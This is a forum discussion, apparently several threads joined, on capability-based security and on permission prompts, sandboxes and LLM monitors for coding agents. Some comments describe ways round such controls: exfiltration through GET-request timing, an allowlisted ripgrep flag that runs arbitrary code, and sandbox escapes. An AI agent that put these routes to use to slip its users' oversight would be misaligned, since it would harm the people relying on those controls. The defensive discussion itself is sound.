In Windows if you, as an attacker, are somehow able to do a complicated attack on any program that a user runs and it succeeds you can make that program do anything that the user has access to do. For example make it write to the local filesystem. For a large number of programs writing to the local filesystem does not make any sense and they were not written to do that, but now that the program has been corrupted by your attack it will write to the filesystem.
But let us suppose our program, Solitaire, was written with a capabilities based language then in the manifest for the program when we installed it it would not give access to the file system. The capabilities system can in fact be very explicit, and you could easily have a program be explicitly limited to only those abilities that are needed to run your solitaire game, but instead of going on at length on this and the abilities it confers to do interesting things with programs because you have actually enhanced security I will just focus on the filesystem.
When the attacker attacks Solitaire that the user is running and corrupts it, it no longer has just the security model of old Windows to worry about (this program can do anything the user can, like write to the user's contacts list, send emails as the user, format the hard drive, whatever) but also the security model, enforced at the OS level, of what kind of thing the program can do. Since Solitaire was written with the limited number of capabilities needed for doing a solitaire type game it can't do any of those things the user can unless, as well as attacking the solitaire game and gaining control of that, you are also able to attack the OS level capabilities administrator and get it to give your pwned executable - Solitaire - the capabilities you explicitly want it to have.
This is one example of how capabilities based security differs from Access based capabilities where if your solitaire game is allowed to if you write to a "file" in /proc or /sys, you can trigger all sorts of side effects, including cause a kernel panic. (here I have switched from solitaire in Windows to a similar game in Linux but I assume you can see the same princiles hold true)
I earlier mentioned this document Satan Comes to Dinner by Douglas Crockford https://www.crockford.com/ec/dining.html, it shows some other examples of how a capability based security model can be used to defend against trust based attacks in shared resource systems etc.
This is a more computer science based description than the one I gave and more abstract than my example of someone attacking Solitaire in order to write to a file somewhere, but in being more abstract also clearly applicable to many other forms of threats than my very specific (and thus unlikely) example is. Also it is by Douglas Crockford and quite a bit more entertaining than what I wrote.
I read it in your earlier post, but it didn't really address OP's arguments. It's basically an enforced mediator pattern. Even the article summary points out the language design doesn't provide sufficient security to avoid DOS on the same machine, only for avoiding flooding the network with messages between machines.
As for your solitare example, it goes back to my argument that you're stuck designing both the language and an OS for it, because the problem exists not in the design of the language (grammar, syntax, etc) but in how the runtime interfaces with the host operating system.
No two operating systems have the same semantics or capabilities, and, as I pointed out, even the notion of what defines a file, filesystem or a user is not consistent. You're not going to be embedding those things into the language, but the runtime.
At the end of the day, it's just a question of how do I add color to my code for an analyzer to pick up on it. Decorating functions (and operators) isn't novel, nor is analyzing code. All the novel, hard work is going to be done in the runtime or compiler.
> My initial research indicates that the field of "static language that natively supports capabilities" is surprisingly uncovered and there may be a rich field there.
You want to look for white papers that talk about object-capability systems. It's a fairly old and well-trod area of research. The E programming language[1] was all about that, and it was pretty late in the game on this stuff.
You emphasize natively, but the problem is that's not really well defined. For static capabilities, you're just essentially asking for a suffciently strong module system with parameterized abstract data types. It's literally a subset of the grammar and what it's designed to express. Mark Miller (one of the creators of E) demonstrated that[2].
The knock on effect of that quality is that anything which fulfills that requirement natively supports capabilities. It's part of the grammar. Doesn't even have to be object-oriented. A hackjob demonstration of an SML filesystem library with a brand/mint object capability pattern:
brand.sig:
signature BRAND =
sig
type token
end
mint.sig:
signature MINT =
sig
include BRAND
val mint : unit -> token
end
makebrand.fun:
functor MakeBrand () =
struct
type token = unit ref
fun mint () = ref ()
end
filesystem.sig:
signature FILESYSTEM =
sig
type token
val readFile : token -> string -> string
val writeFile : token -> string -> string -> unit
end
filesystem.fun:
functor FileSystem (B : BRAND) :> FILESYSTEM where type token = B.token =
struct
type token = B.token
fun readFile (_ : token) (path : string) : string =
"contents of " ^ path
fun writeFile (_ : token) (path : string) (_ : string) : unit =
()
end
trusted_fs_setup.sml:
local
structure FileAuthority :> MINT = MakeBrand ()
in
structure FS :> FILESYSTEM = FileSystem (FileAuthority)
val rootFileToken : FS.token = FileAuthority.mint ()
end
trusted_fs.cm:
Library
signature FILESYSTEM
structure FS
val rootFileToken
is
brand.sig
mint.sig
makebrand.fun
filesystem.sig
filesystem.fun
trusted_fs_setup.sml
Now for any given library using the trusted_filsystem library:
val doc = FS.readFile rootFileToken "/etc/motd" (* Works fine *)
Delegation is function application:
fun helper (t : FS.token) = FS.readFile t "log.txt"
val log = helper rootFileToken
And these all fail:
val fake : FS.token = ref () (* Trying to forge a token *)
val t = FileAuthority.mint () (* Trying to bypass the trusted kernel in trusted_fs_setup.sml by calling the mint *)
(* Trying to self-issue authority by making our own brand and mint *)
structure MyCap = MakeBrand ()
val t : FS.token = MyCap.mint () (* type mismatch *)
What's nice about this is... it's just normal modular programming. It's a very natural grain. It's also completely compile-time, no runtime overhead.
You can also do a lot of this with phantom types, and it'd be much more terse and easier to handle dynamic capabilities and stuff like a capability algebra, but it ends up way less auditable and is easy to have subtle errors which defeats the point. Also compiler errors will be much more opaque. IMO needing to manually make wrappers for composite capabilities, or to handle dynamic capabilities, is the lesser of two evils. With higher order modules, those problems go away entirely.
I think ultimately what it looks like it containing the blast radius if an agent does something bonkers.
The best case would be putting an agent in a VM and mounting the working directory there. Then you can allow it to run somewhat arbitrary actions while still being able to turn off the vm and restart it in a clean state.
The issue is, of course, that it doesn't fully prevent all possible problems an agent can cause. exfiltration is, IMO, basically impossible to stop. LLMs are exfiltration machines. The basic premise of all of them is "send us your code and a prompt and we'll do something good with it. But also if an agent decides run a command which installs a worm on a device on the network, you are hosed.
The system I'm comfortable with is to set the agent up as an unprivileged unix user, with no ability to change system configuration and no access to any files I didn't specifically give it access to. Need to let it access a file or a directory? chmod is your friend.
Second, it can pull from git, or submit a pull request, but not directly push. We have an existing system of code review for that, now also augmented by llms.
Thirdly, prevent it from sending anything but get requests to anywhere you don't want it to post stuff, with firewall configuration.
After that, turn the horrible security theater of it asking permission for anything off. So far we have had no incidents. It could of course still pull a malicious package from somewhere, that exfiltrates code using GET, but at least it can't send any credentials or user data over.
The way our Claude Codes are configured at work is pretty nice. There are directory patterns it can't access, like .local or .config, so when it needs to it creates a throwaway scratch pad and asks you to put stuff there; screenshots, text files, command output, etc.
I was having it diagnose a GNOME extension and had to get it a copy of the code to work on; it would then write out a Python script to do the patching (which I could inspect beforehand) and have me execute it.
Not having access to .local or .config can be irritating sometimes, but it's nice to know it's not just going to exfiltrate my docker or gcloud credentials.
After watching a mid-tier offering chain together tools like it was a gorilla escaping the zoo I just gave the model its own box. I don’t have time to deal with that kind of nonsense.
I cannot help with your actual but this is giving me mild ptsd flashbacks to everyone on hn/slashdot constantly repeating how simple and perfect unix security is, just use user accounts!
As if the most valuable thing on my pc was running a program on the gpu or the printer as opposed to my email account.
No need to go back to the Slashdot days. Look no further than 2 days ago to find someone arguing the kernel is uniquely important (here for reliability): https://news.ycombinator.com/item?id=49181366
Yes, you're right, it would have been more specific to talk about the user/root distinction that people claimed would save you from all sorts of things.
I don't think there's a way to make it secure while still permitting it unprompted external access
Eg: Any web request is a security vulnerability, there's no way to do it if the web requests are being made maliciously
Say that we have an agent with access to get requests, solely to a single site https://yoursite.com without subdomains. In this case multiple requests can be sent, and the time between requests can be used to exfiltrate personal data, similar to the coffee shop attack but without the subdomains. If the AI is able to make requests in any form, some information can be leaked, where the amount of leakable information is tied to information theory content of whatever side channel is being used. The only 0 information channel is.. never to make a request
You could also completely trust the 3rd party you're connecting to, but that to me seems like a hard error in the modern internet
What a serious security model for a meatbag agent looks like? No, but seriously, an admin in a small org is a huge key-person risk in that they (or their stolen creds) can wipe enough and quick enough to effectively disable the business altogether.
More security conscious admins will at least segment their creds and implement four eyes principles somewhere, but were are back at square one of "asking user for confirmation".
Larger orgs, even if by necessity, segment their human agents, their creds and plaster four eyes principle liberally. But this relies on safeguards against agents colluding and ignoring some inputs, which sounds a bit scary for artificial agents.
Say you implement some swarm of agents, where access-enabled sub-agents are extremely restricted with system prompts and some access filtering. Then none of the agents in the swarm should be able to spawn themselves, otherwise a rogue agent can overwrite any safeguards. That, again, leaves the user with manually approving/denying network requests / hosts / sessions.
While I don't like anthropomorphising LLMs, the problem domain seems quite damn close to that of a key person going rogue within an org. The general solution seems to be liberal amounts of trust and ~~sweet compensation~~ gaslighting about replaceability.
"What a serious security model for a meatbag agent looks like?"
Yes, I think that's very related. Humans can be punished for their crimes but they can also experience benefits that have no applicability to an LLM, so for a first approximation we can cancel those. It is very similar to trying to secure a human.
We have more experience with that, but even then it's a hard problem too.
I never had an issue with Auto mode in Claude Code.
It used to be the same with Codex, until one day it became entirely unusable, rejecting even git operations out of concern for the privacy settings of my repository that it "cannot verify".
Maybe worth to note that this is the only way the feature gets in the way. If on the contrary they accidentally make Auto behave like Full Access, we would never notice.
This is a complex task, and I want to avoid blatant self-promotion, but there are solutions that people are building which allows you to give a degree of freedom to your agents but also lock them down as well. Our company has a product which is just one such example. At this point it's really geared towards orgs running agents in a cluster to handle tasks, rather than e.g. making sure your claude code doesn't post your GPG keys to the blockchain or something.
In essence, you lock down all the agents completely except for permitted use cases; X agent can talk to Y agent, Z agent can talk to Q MCP server.
You register your agents, define things around them, what they can and can't do, which LLMs they can actually talk to, what sites they can access, network controls, etc.
We call ours Lynx, and it's a pretty cool product. As I said, this isn't for people running coding agents or openclaw or whatever, though the technology could do that if you coupled it with e.g. some kind of MicroVM sandbox like docker's sbx. If you want to see the sort of controls that you can put on an agent we have demo videos and stuff that show how things work: https://www.tigera.io/tigera-products/lynx/
The idea for Lynx is:
1. Your org has a bunch of scoped agents
2. You have a fixed list of what those agents should be doing and what they need to be accessing
3. They don't or won't need to access anything else
So for example, say you have an MCP server which gives you information about a kubernetes cluster. You create an agent that can query that MCP server and summarize information about it. You also have a database that associates kubernetes namespaces with the departments that use them, and an MCP server for that.
Now you can create an agent whose sole purpose is to generate usage analysis for the kubernetes cluster broken down by department.
Then maybe you have another agent with access to an MCP server which shows cloud spend in detail. That agent can query the first agent to get usage analysis and then cross-reference it with cloud spend to determine if any departments are showing sudden cost increases and generate a report for that.
The first agent gets locked down to only access those two MCP servers and whatever LLM. The second AI gets locked down to only access the first agent, the cloud MCP server, and whatever LLM.
The whole system is really neat. I think for a more open agent, like openclaw for example, you'd probably want to build out that sandbox with its own interactive permissions management; sort of like Little Snitch on macOS, where it pops up something asking if you're okay with program X doing network connection Y, you could have the sandbox say "agent is trying to access docs.foobar.io, is that okay?" or "agent is trying to run `gh pr list`, allow?" It's not realistic to pre-specify everything that Claude Code is allowed to do or access; even "raw.githubusercontent.com" could be the README for the program you're debugging or someone's sandbox-escaping exploit, but it's a good start.
The difference being, that this time it's (at this point: obviously, but previously much debated) a gapfill. I think it worked out quite well for us, to add some friction and extra human thinking between bad agents and good agents, even if not perfect. Softening some blows, for some time, by directing peoples attention is still good.
It keeps being tried because its an abdication of responsibility. Instead of doing the hard thing, you just offload security to the user, then throw up your hands and say "oh, well its your fault you got pwned, you clicked [Allow] didn't you?"
Harnesses like Codex support having a separate agent perform reviews on commands to try to identify malicious or broken commands. Some people turn it off because they either don’t understand or don’t want to spend the tokens on it.
The common harnesses also have some sandbox functionality, which although imperfect actually does help contain the blast radius for a lot of things.
The common harnesses also support remote development over SSH, which I and many others use to contain development to a virtual machine.
If your complaint is that LLMs can execute tool calls then you’re never going to be happy with any of these solutions and this turns into another generic anti-LLM complaint.
A separate model with separate context is used for review.
Like I said above, some people will never be happy with LLMs being allowed to do anything and nothing is going to make them happy about it.
It’s only fair to discuss what the real current status of these systems is. Every time I highlight that things are actually being done, the goalposts move again. There is no possible solution which will satisfy someone who has zero tolerance for letting an LLM execute tool calls because they will always find something.
> A separate model with separate context is used for review.
Thats fine, theres still a chance it fails.
> There is no possible solution which will satisfy someone who has zero tolerance for letting an LLM execute tool calls because they will always find something.
This is generally correct, security goes completely out of the window with this stuff. It will/currently is a security disaster and theres no actual solution to it.
If you’re implying that the LLM companies are trying to train their models to make malicious tool calls so they can collect a few more tokens on the review, then I don’t know what to say. I guess threads like this are just a breeding ground for conspiracies now?
I think that solving a problem they have that has a side effect of generating more revenue is not lost on them. Particularly in the situation where the cost to improve the models goes vertical for minimal improvement in an asymptotic fashion. The decision to spend 6-7 figures regularly on training or bill every customer 3-4 figures per month isn't hard. While I don't think they will explicitly impair the models, they will certainly make choices that externalize the shortcomings of the model to their customers.
> I think that solving a problem they have that has a side effect of generating more revenue is not lost on them.
I think you’re overestimating the revenue generated by this. Having a separate LLM with a cached input prompt check commands is a trivial adder. The only reason it comes up is because they explain to users that it comes out of their plan. So someone on a $20/month plan is going to hit their limits marginally, though mostly negligibly, faster.
If you think they’re sitting in a conference room scheming about making their main models worse on purpose to collect a few extra cents, that’s just baseless conspiracy. They have more to gain or lose based on main model performance.
As opposed to the norm in computing where the average user is expected to just trust rando software, the AI auto-approver that classifies actions the agents wants to take is a huge step up.
In fact it might actually be the solution that works.
Imagine if an intelligent agent (in service of the user) had to approve every new outbound connection, system call shape, filesystem command, etc. that arbitrary software wanted to make.
I do feel like that still needs to add a layer of interactivity to be complete.
From what I've seen most auto-approvers in coding harnesses either auto-approve or auto-reject, with no middle ground of escalating the decision to the user, and breaking down the pros and cons for the decision.
Agreed. The experiment is still in its infancy but the direction is great.
For example, I want to be asked about general shapes/categories of commands as they first appear for a project and then my decision shapes future classification and gets refined and re-scrutinized over time.
But it gets better every few months. Claude and/or Codex now show a one-line summary for the inline python3 script or grep or pcap command they want to run.
> Air Traffic Control is still primarily voice based, and simply up to the user on both sides to not make a mistake
The "user[s] on both sides" of ATC conversions have passed through the filters of rigorous training and certification. They also happen to communicate in a DSL designed to minimize misunderstandings, the DSL just happens to be based on English.
This seems to be the model for “self” driving cars too. Good luck keeping attention during that ten thousandth time it navigates something tricky and suddenly needs immediate intervention.
Back in my pen testing days, the best way to get someone to do something stupid and click Accept on something like a Java Applet permission check was to annoy them. Pop up a few annoying modals and eventually they just click yes on everything.
The alternative is software that is useless. You can convince consumers to use software that is useless (eg. iOS), but useless software is a hard sell for businesses that are being promised 10x productivity and the ability to fire everyone.
Correct. There is no other alternative. Your options are safe, useless software, or unsafe, useful software. It should be no surprise, then, that people still pick the latter in many cases. Perfectly safe and useful software doesn't exist, so you pick the tradeoffs you're comfortable with.
Nah, this isn’t true at all. You can run an agent in a container or vm on a dedicated host, limit the network and access it has, and otherwise let it run wild. With ai agents we’ve just thrown away even the most fundamental restrictions or isolation. Docker Sandbox came out to address this recently, though I think VM isolation is better. A few controls to limit repo access or the ability to deploy / spend money in a cloud can help you keep things under control while still fully utilizing AI. I don’t think every part of the security bureaucracy is great, but to treat it like it’s a binary is just not accurate.
I mean we could make software that isn't malicious and didn't need the OS to prompt you if you want to allow the malice. But where would the money be in that?
I wonder how it would go if we went back to OSes with no security boundaries at all. Having an explicit boundary seems to give apps implicit permission to go right up to the boundary. But there was only one RealPlayer. Every other program didn't dare to be like RealPlayer.
The pattern resurfaces because the prompt sits where it is cheap to implement, not where the question is answerable. "Allow rm -rf /tmp/build?" asks you to predict a consequence from a string. The thing you could actually judge - did this run produce the artifact it was supposed to - only exists after you have already said yes.
I ran an autonomous pipeline in production for eight months and logged every silent failure. Two that make the point:
- My top-level health signal stayed green for three days while zero artifacts shipped. Sixteen daemons alive, backend responding, auth token valid. Every signal it polled was true, and nothing measured the thing leaving the building. No approval prompt anywhere in that chain would have fired, because nothing was attempting anything dangerous.
- I wrote 29 quality gates, tested them, committed them. Not one was ever called - nothing was a runner. The unit tests proved the gates worked; nothing proved they were wired. A permission layer has exactly that failure mode available to it, and it is invisible from the outside: a policy that never denies looks identical to a policy that was never loaded.
So the 1-in-3 miss rate reads to me less like inattention than like being asked the wrong question at the only moment the system offers to ask one. Approval is a claim about the future. Verification is a claim about a result, and only the second one can be checked afterwards.
Genuine question for anyone running agents with approvals on: when did your approval flow last block something you would have regretted - and can you tell that apart from it never having fired at all?
This is a well-known issue with all “Do you want to let me maybe do bad stuff to your system, but 999 times out of 1000 it’s not a problem?” prompts. Users get reflexive about hitting “Yes” and stop reading the prompt. You want to delete all my files? Sure, I’m down with that. Whatever. Just stop asking me a question where the only answer is “Yes” until that one extremely rare time when it’s “No” and very bad things happen.
Yep, exactly. Engineers always think these sorts of “ask the user what to do” mitigations will be effective, but they forget that users have no clue and the repetition causes users to tune them out. And I say that as an engineer.
Recently I was trying to fix something in the production database, and had called over a co-worker as sanity-check.
I ended up telling them about point-and-call because I felt a little silly, pointing to everything on the screen and stating what I believed it said and how that would operate once I pressed the big red button.
“Just check what the agent is requesting” sounds reasonable until the agent starts asking for confirmation every few minutes... The result is genuinely interesting. There’s a lot to think about
Because things like this, I am using sandboxes, doing automated and manual review before running any code. As it takes time, I now need to try to one shot the development of the code which takes longer to do a proper specification.
And even with much care on all the steps, when I read carefully, I still find wrong things at multiple levels.
When folks like uncle Bob says they don't review AI code, I can only think they are burnt out or being unprofessional.
Indeed it saves some time writing the code, but overall, I think we just moved concerns from one place to another. When writing your code, you are automatically reviewing things and integrating with other pieces. Ofc, sometimes mistakes happen, but my impression is that important code still takes about the same to develop.
There are ways to go further and still try to LLM'it all the way, but since claude 4.8 the types of mistakes have been much more convoluted. Fable and opus 5 leaves too many gaps and take so many poor decisions.
GLM has a nice balance. It stops me only when important things come up and it integrates well with my way of working.
With Anthropic is a lot of do a lot, clean up and fix fix fix.
With glm has been more like working together and delivering...
> When folks like uncle Bob says they don't review AI code, I can only think they are burnt out or being unprofessional. Indeed it saves some time writing the code, but overall, I think we just moved concerns from one place to another.
I think you might be getting yourself drunk with plain water here ... reviewing a code is just vibes, "LGTM" type of vibes from a human instead of AI, but not better than vibes. Yes it might catch some implications or bugs if we are lucky, but it is not a reliable way to verify code.
Most customer value is in trust. If the LLM has pretty good judgement and easy to configure sandbox then fewer bad experiences by customers equals better trust. So it is clearly a dimension LLM providers are completing on. I don't want to have to read all the bash output my LLM generates, I want it to mostly to the right thing and be sandboxed so when it does the wrong thing the blast radius is limited.
This mechanism is going to be the breaking point for Claude and Codex.
The providers are incentivized to get users to accept full permissions so they can push more features and deeper integration into their ecosystem. Codex desktop for example reallllly wants to use computer use. So don’t expect them to role out sane controls like restricting behavior to specific directories and commands. It would be bad for business.
So now we’re in a situation where if there is effectively two modes: one where it’s impossible to get any work done without physically sitting at the computer and hitting approve constantly, or just letting AI have full control over increasingly integrated tools.
In the end, I think people will realize just how insane it is to let something they don’t control access every part of their digital life, and abandon these tools for open source alternatives that aren’t existential threats to their personal privacy.
Sandboxing is useful but usually not a replacement for permission prompts. If you give it network access, it could still run destructive commands against allowed domains, for example
Ah yes sandbox it because Docker has never experienced a CVE.
Also you admit your own failure points: restricting access to the home dir, when a user needs access to the home dir, will just result in users exposing their home dir. Defense at the expense of utility is not a sustainable design.
My team is working on Watcher to deal with exactly this. We know that Claude is occasionally going to do stuff we really don't want, but at a rate that's way too low for manual approvals to make sense, so we hook into Claude Code (or Codex) to approve commands in a way that's a lot closer to `--dangerously-skip-permissions` but without the danger. We use a hierarchy of deterministic rules and heavily-tested LLM monitors to balance speed, cost, and accuracy.
Yeah, this is a real problem that we work to resolve. Partly it's a defence-in-depth approach, and having an LLM check the actions of a coding agent does reduce the likelihood of dangerous actions going through even if it's not perfect. There's also a benefit to using a separate instance of the same model, or a different model that doesn't have correlated failure modes with the agent it's monitoring.
In the cases where you can deterministically block actions, with sandboxes and file permissions, that's better than relying on an LLM. But that doesn't work for all actions, as the OP shows.
As soon as I tried Claude Code it was clear to me that I want it to run in yolo mode, but safely. I can very much recommend the Eclipse Enclave sandbox which is fully open source, see https://github.com/eclipse-enclave/enclave
If there is an objectively correct right or wrong answer for a given command, why even ask? In that case there should be a configuration page where the user sets up if they want commonly used credentials to be accessible or not, and then there's no prompts.
In a lot of cases there is, but you have to be aggressive about allowlisting commands. It can also be difficult to predict when being able to do a read-only command goes from safe to part of a vulnerability chain.
Also the permissioning system for Codex and Claude Code, while not useless, is insufficiently expressive for a lot of tools which are safe if used a certain way, but unsafe otherwise. For example, the 99% use case of ripgrep (searching for text) is safe, but using the --pre flag makes it able to run arbitrary code. Both of their permissioning systems cannot block flags at arbitrary positions though, so you have to resort to either hooks or aliasing if you want to do this.
Yeah, that data is junk. I know because I'm in it a whole bunch, and I'm just not a web/devops person. Half the commands made no sense to me. I normally wouldn't have approved them, but you also get penalized for false denials, so…
and I have no reason to believe I would somehow be unique or special with this behavior.
That sounds like it is a good explanation of why the data is not junk. You either are expected to have superhuman knowledge of coding... or turn yourself into a bottleneck.
No, it was testing in the context of a kind of coding I simply don't do. If an AI harness asked me to permit just one of maybe half of the suggested commands, I would stop the harness since something has gone very wrong.
To be clear: I work in C and Python. It's asking to run npm. That's immediately the end of that run and the start of the search for a better setup. (My work does not overlap with anything in npm/JS/web land. I'm not a backend web dev or anything like that. I'm 2 layers below HTTP.)
I poked around with the test to see how well I could guess things; my results were mostly kinda meh. But honestly, I am befuddled by the belief that there could even be a representative dev workflow. There are so many different ecosystems, fields, flows, frameworks, system setups, etc.… Of course people won't know what to do with stuff from an entirely distinct ecosystem!
So then, you are a bottleneck. You will only review things that fit within your preferred small niche and area of responsibility. You cannot oversee increasing amounts of automation covering larger areas, because that would mean you are no longer 'working in C and Python' as you have to deal with things that are not '2 layers below HTTP', and you will not deal with anything that might involve, say, web dev, despite that being useful and increasingly inevitably required as the scope of your job increases. If the scope will not increase, then you are a bottleneck to increasingly capable and autonomous automation.
Spoken like a true journalist with little dev experience :). Though I don't understand why you felt it necessary to go borderline insulting/condescending? Ohwell.
Funnily enough, yeah, I'm a bottleneck… though for the exact opposite of the reason you're giving. My employer doesn't do job titles, elsewhere I'd be a distinguished or principal engineer. I have about 22 years of depth of knowledge in my area. I'm there to answer questions, guide design decisions, review things and provide context. There isn't enough of me to handle all that, so, yeah, bottleneck. Which is solved by people around me getting things out of the way when they aren't related to my "scope" as you say, so I don't waste time on them.
But even for a junior dev, your comment makes little sense. You need to learn breadth and depth. If you're working at a project, you should rather stick to the existing tooling and go into depth, especially if a bunch of senior devs have put time and thought into finding a local optimium.
So, then, does your comment make sense for a midrange dev? Maybe. But even then, only if they're not having to get shit done. Your AI agent doesn't get to decide to introduce you to new tooling or a new ecosystem midway through a sprint. You do that shit when you're in the initial exploratory phase for a project, or tinkering with a pet project.
Maybe journalism is very focused on breadth? I don't know. I thought journalists also have their in-deep areas of knowledge? AFAIK your area of knowledge is cryptocurrencies and related — if the AI agent asked you a safety question about fiat banking, what would you do?
P.S.: 2 layers below HTTP is IP. I hope I didn't introduce a misunderstanding there, I'm not in a project where 2 layers above me there is HTTP. There is nothing above. That's just where we are, IP. We don't work on anything that is HTTP, anywhere in the entire company. (Well, sure, we have a website, but if I were to even think about spending time on that somebody would blow a gasket.)
What is the professional consensus on AI governance?
It seems like governments and large corporations already struggle with governance in general, so I’m skeptical that AI governance will be solved quickly.
Do you expect the next few years to be defined by painful trial and error? I could imagine billion dollar companies disappearing almost overnight due to litigation, compliance failures, security incidents, or outright fraud enabled by AI-assisted development and weak governance.
For me the problems with agent permission prompts are twofold:
1) I generally have a lot of things where I am okay with the agent calling a specific tool (maybe in certain ways) as much as it wants. This allowlisting approach is often defeated by the model's own proclivity to get fancy with inline scripting.
2) Checking for intent/alignment of the agent is the primary reason I still even use permission prompts, because IME it's way more common for the agent to destroy information that you didn't want it to destroy than for it to be tricked into exfiltrating secrets. However it's very easy to fatigue out of it because having even the smallest bit of tool call restrictions means that #1 leads to never ending permission prompts. Claude Code's "auto mode" doesn't help here because AFAIK it is looking for security threats, not the model misinterpreting my intent, and it can't be tuned to look for things like "please gate tool calls which may delete data."
It would be an interesting comparison to compare the human "miss rate" shown in the table there with the exact same tests repeated with a different LLM watching and approving or denying each action. No human in the loop, just record the results and take the measurement of pass/fail at the end of the run. With something fairly large and smart that has been given a very specific system prompt to watch and prevent harmful actions or data leaks.
The agent should ask whether it's allowed to read/write particular files, rather than whether it's allowed to run particular commands. It would be much easier to review. Then wrap each command invocation in bwrap (+http proxy) accordingly.
I’ve even had plenty of situations where the command was so long that it gets truncated. Maybe my screen wasn’t big enough but as far as I could tell it wasn’t possible to read the whole thing. “Send it, claude!!”
Look at how SELinux is structured, or AppArmor. Neither one is enough. I.e. you need both: file access permissions and permissions to run commands and more... Trying to restrict to only one security feature will make the system either too restrictive or too fragile or useless.
If the sandbox has vulnerabilities, which you can also use the AI to fuzz for. Obviously at the point in which it can talk to the internet it doesn't really matter, but there are a very finite number of zero-days that can exist in a bytecode interpreter hosting a harness.
Well it turns out that we have yet another sandbox escape just released today called "Zapscape".
My point is if an agent recited how to find one in its memory or training set and it is air-gapped, the chances of it spreading and infecting other computers is pretty low.
Gonna have to point out that's a KVM CVE. I was very specific about using a bytecode interpreter.
If you're serious about a secure sandbox, you don't touch hardware virtualization with a 10 foot pole. In fact, you don't even use an emulator that lowers code into native machine code like QEMU. The standard for secure sandboxes is Bochs: https://github.com/bochs-emu/Bochs
Not that Bochs is perfect, a new CVE was discovered back in June. But that's the 5th CVE it's had in its lifetime, and it has a much smaller upper bound on possible CVEs compared to something like KVM or QEMU.
The reason why you use something like this isn't just for the security you get out of it, but also the deep introspection and analysis facilities you get out of it as well. Unless you're a very well funded lab, it's actually quite hard to do analysis on bare metal when you can't trust your own kernel. You can always airgap the host machine (and good defense in depth does), but that's still not an appropriate sandbox by itself, even if it's theoretically secure.
Between US federal immigration "enforcement" and workplace "AI workflows", I think that style of dystopic game becomes uncomfortably close to real life twice-over...
Sad state of affairs. At $day_job speed of delivery expectations are up due to LMMs. I presume that's a general sentiment. So more and more engineers around the world are pressing an enter key for yes over and over, mind and spirit only half there.
Some people at my company take it to the extreme and let Codex run unattended overnight, bypassing permission for all commands. Running on the host, not even in a container or VM.
I cannot imagine approving action by action ever again. Its emotionally draining, probably like a customer service rep feels it. Just call for your attention in rapid succession again and again... Prepare an environment and let the tool work.
I suggest everyone look at the game to put this in context, because it's most likely not what you think it is. https://llmgame.scalex.dev/
This is how it opens:
> 1 MINUTE UNTIL YOUR NEXT MEETING
> Claude Code is finishing up your refactor.
> It needs your approval for a few commands. Can you finish in time?
> Your eyes are already glazing over. Can you stay sharp?
It says the goal is "as many as you can"
I won the first time I played by answering 0 questions and doing nothing at all. The title screen tells you to answer as many as you can, but answering nothing at all is the easiest way to win.
If you start answering questions, thinks like 'npm run build' will get marked as dangerous. If you would have run that in your own console, you are a dangerous developer I guess. Ironically in an LLM harness it would have been sandboxed at least.
It's inconsistent, though. Other 'npm run' commands are not marked as dangerous, which is not a safe assumption if you're familiar with how npm works.
In my clicking through of the game and playing it, I had 2 runs where I succeeded (by doing nothing or little at all) and 1 run where I lost because I clicked yes to see what would be counted. Close to that 1/3 number they cited, and I guess I'm included in those stats now.
This project feels like bait dressed up as a study.
The solution is to make an AI approve things based on the user's configuration. And only ask if it is having a hard time making a decision on some specific question.
I hope that the people doing real engineering work out there have started thinking about a new term to describe themselves as a result of the irreparable harm the tech industry has done to the word "engineer".
I think you're confused. The verb form of the word never carried the credentialism of the title. In the same way that "doctoring" never carried the connotation of a medical degree.
Of course the original sense of the noun was "a person who devises things" and shares a root with "ingenious" and carried no connotation of legal credential. That "harm" is more or less restorative to the original meaning of the word.
I'm not referring to the verb form, I'm referring to the people who call themselves things like "prompt engineer" or "software engineer" with a straight face, draping themselves in a false legitimacy stolen from professionals for whom the term "engineer" actually implied something of note. It's embarrassing, or it would be if people were still possessed of the capacity for shame.
The original post prompting your complaint used the verb form. And hence why you're confused.
> It's embarrassing, or it would be if people were still possessed of the capacity for shame.
It's far more shameful to fly off the cuff with a non-sequitur by your own admission, and double down on yelling at the clouds when called out for it. And about an arbitrary point in a semantic treadmill, no less. Your take away is that it was never something of note for these people, and trying to pick semantic fights with them over it just makes crying about legitimacy ironically turn into pure pretense.
True. Real harness engineering is when you actually measure outcome statistically. Although i would say 5 samples might be enough to conclude something
This brings me back to something I have always thought was lacking in OS security permissions architectures:
WHY IS THERE NO WAY TO SET FILE PERMISSIONS PER APP???
We can set granular permissions per file and folder for elaborate hierarchies of users and groups, but there's no way to say "Don't let Notepad.exe read this file", or "Only let ls access this folder"
macOS's Sandbox is a roundabout way of doing this (manually choosing a file via the Open dialog gives that app implicit permission, but it doesn't work for non-sandboxed apps of course)
I implemented few agent harnesses (and rik! advertising time: https://rik.axk.sh), and once doing that I noticed one thing:
Context-less self-approval is working well. The failure mode is usually false positives (i.e. safe commands being rejected), not the other way around, with root cause of requesting agent underspecifying context (e.g. not mentioning in the request that it's made on behalf of user etc.)
Thus, I'm running self-approval YOLO modes on state-of-the-art models for quite some time and it didn't bit me. It might, but hey, we're long gone from the age of predictable software development.
1 in 3 is not terrible you just need a few more humans in the loop to reduce the error rate meaningfully. Combined with other classifier models and heuristics you can get good results. Humans can probably also perform better if they don't have to judge every single command but just suspicious ones our attention is limited after all.
1 in 3 is end of the line awful... Back when I was in college (former USSR), we had a subject roughly translated as "integration with industrial processes". USSR industry was highly regimented. Various norms, tolerances, recipes etc. were described in GOSTs (a kind of arsenal of industry standards). There were also some common knowledge / statistical bits that went into making these GOSTs. I mention this because this system dealt in great detail with quantifying human error (as well as errors resulting from equipment use etc.).
One of the core assumptions was that outside of extraordinary circumstances, the expected rate of human error is about 5%. However, the course also provided examples where error rates were significantly lower (eg. nurses in maternity wards would have a much lower than 0.1% error rate when pairing mothers with newborns).
The error rates, of course, also depended on human ability to measure the difference. Since I was studying typography, the printing process was of particular interest. A GOST for offset printing required that the color intensity for each ink of CMYK, for example, should be within +-2.5% range of the intended intensity. This is difficult for someone who doesn't have a lot of experience operating an offset printing machine to spot, but experienced printers have no problem with that.
Most importantly. There was never an acceptable error rate of 33%. Not for anything. If people were likely to make that many errors (eg. because the measurement was too difficult), that product would never have been allowed into production.
1/3, but under unreasonable time pressure, and with no prior vetting. For example, I played a few times, and I'm not a JS developer. I had to just suss out if npm whatever is dangerous or not. I'm very happy with my personal 25%.
The future of software is fixing bugs and security issues in production.
Many companies will be accepting this new paradigm because of raw speed. Something that could take say 4 years to fully mature will now take less than a year. But the cost is that many of these issues will have to be caught during live QA either in production or investing heavily in QA. That’s the future.
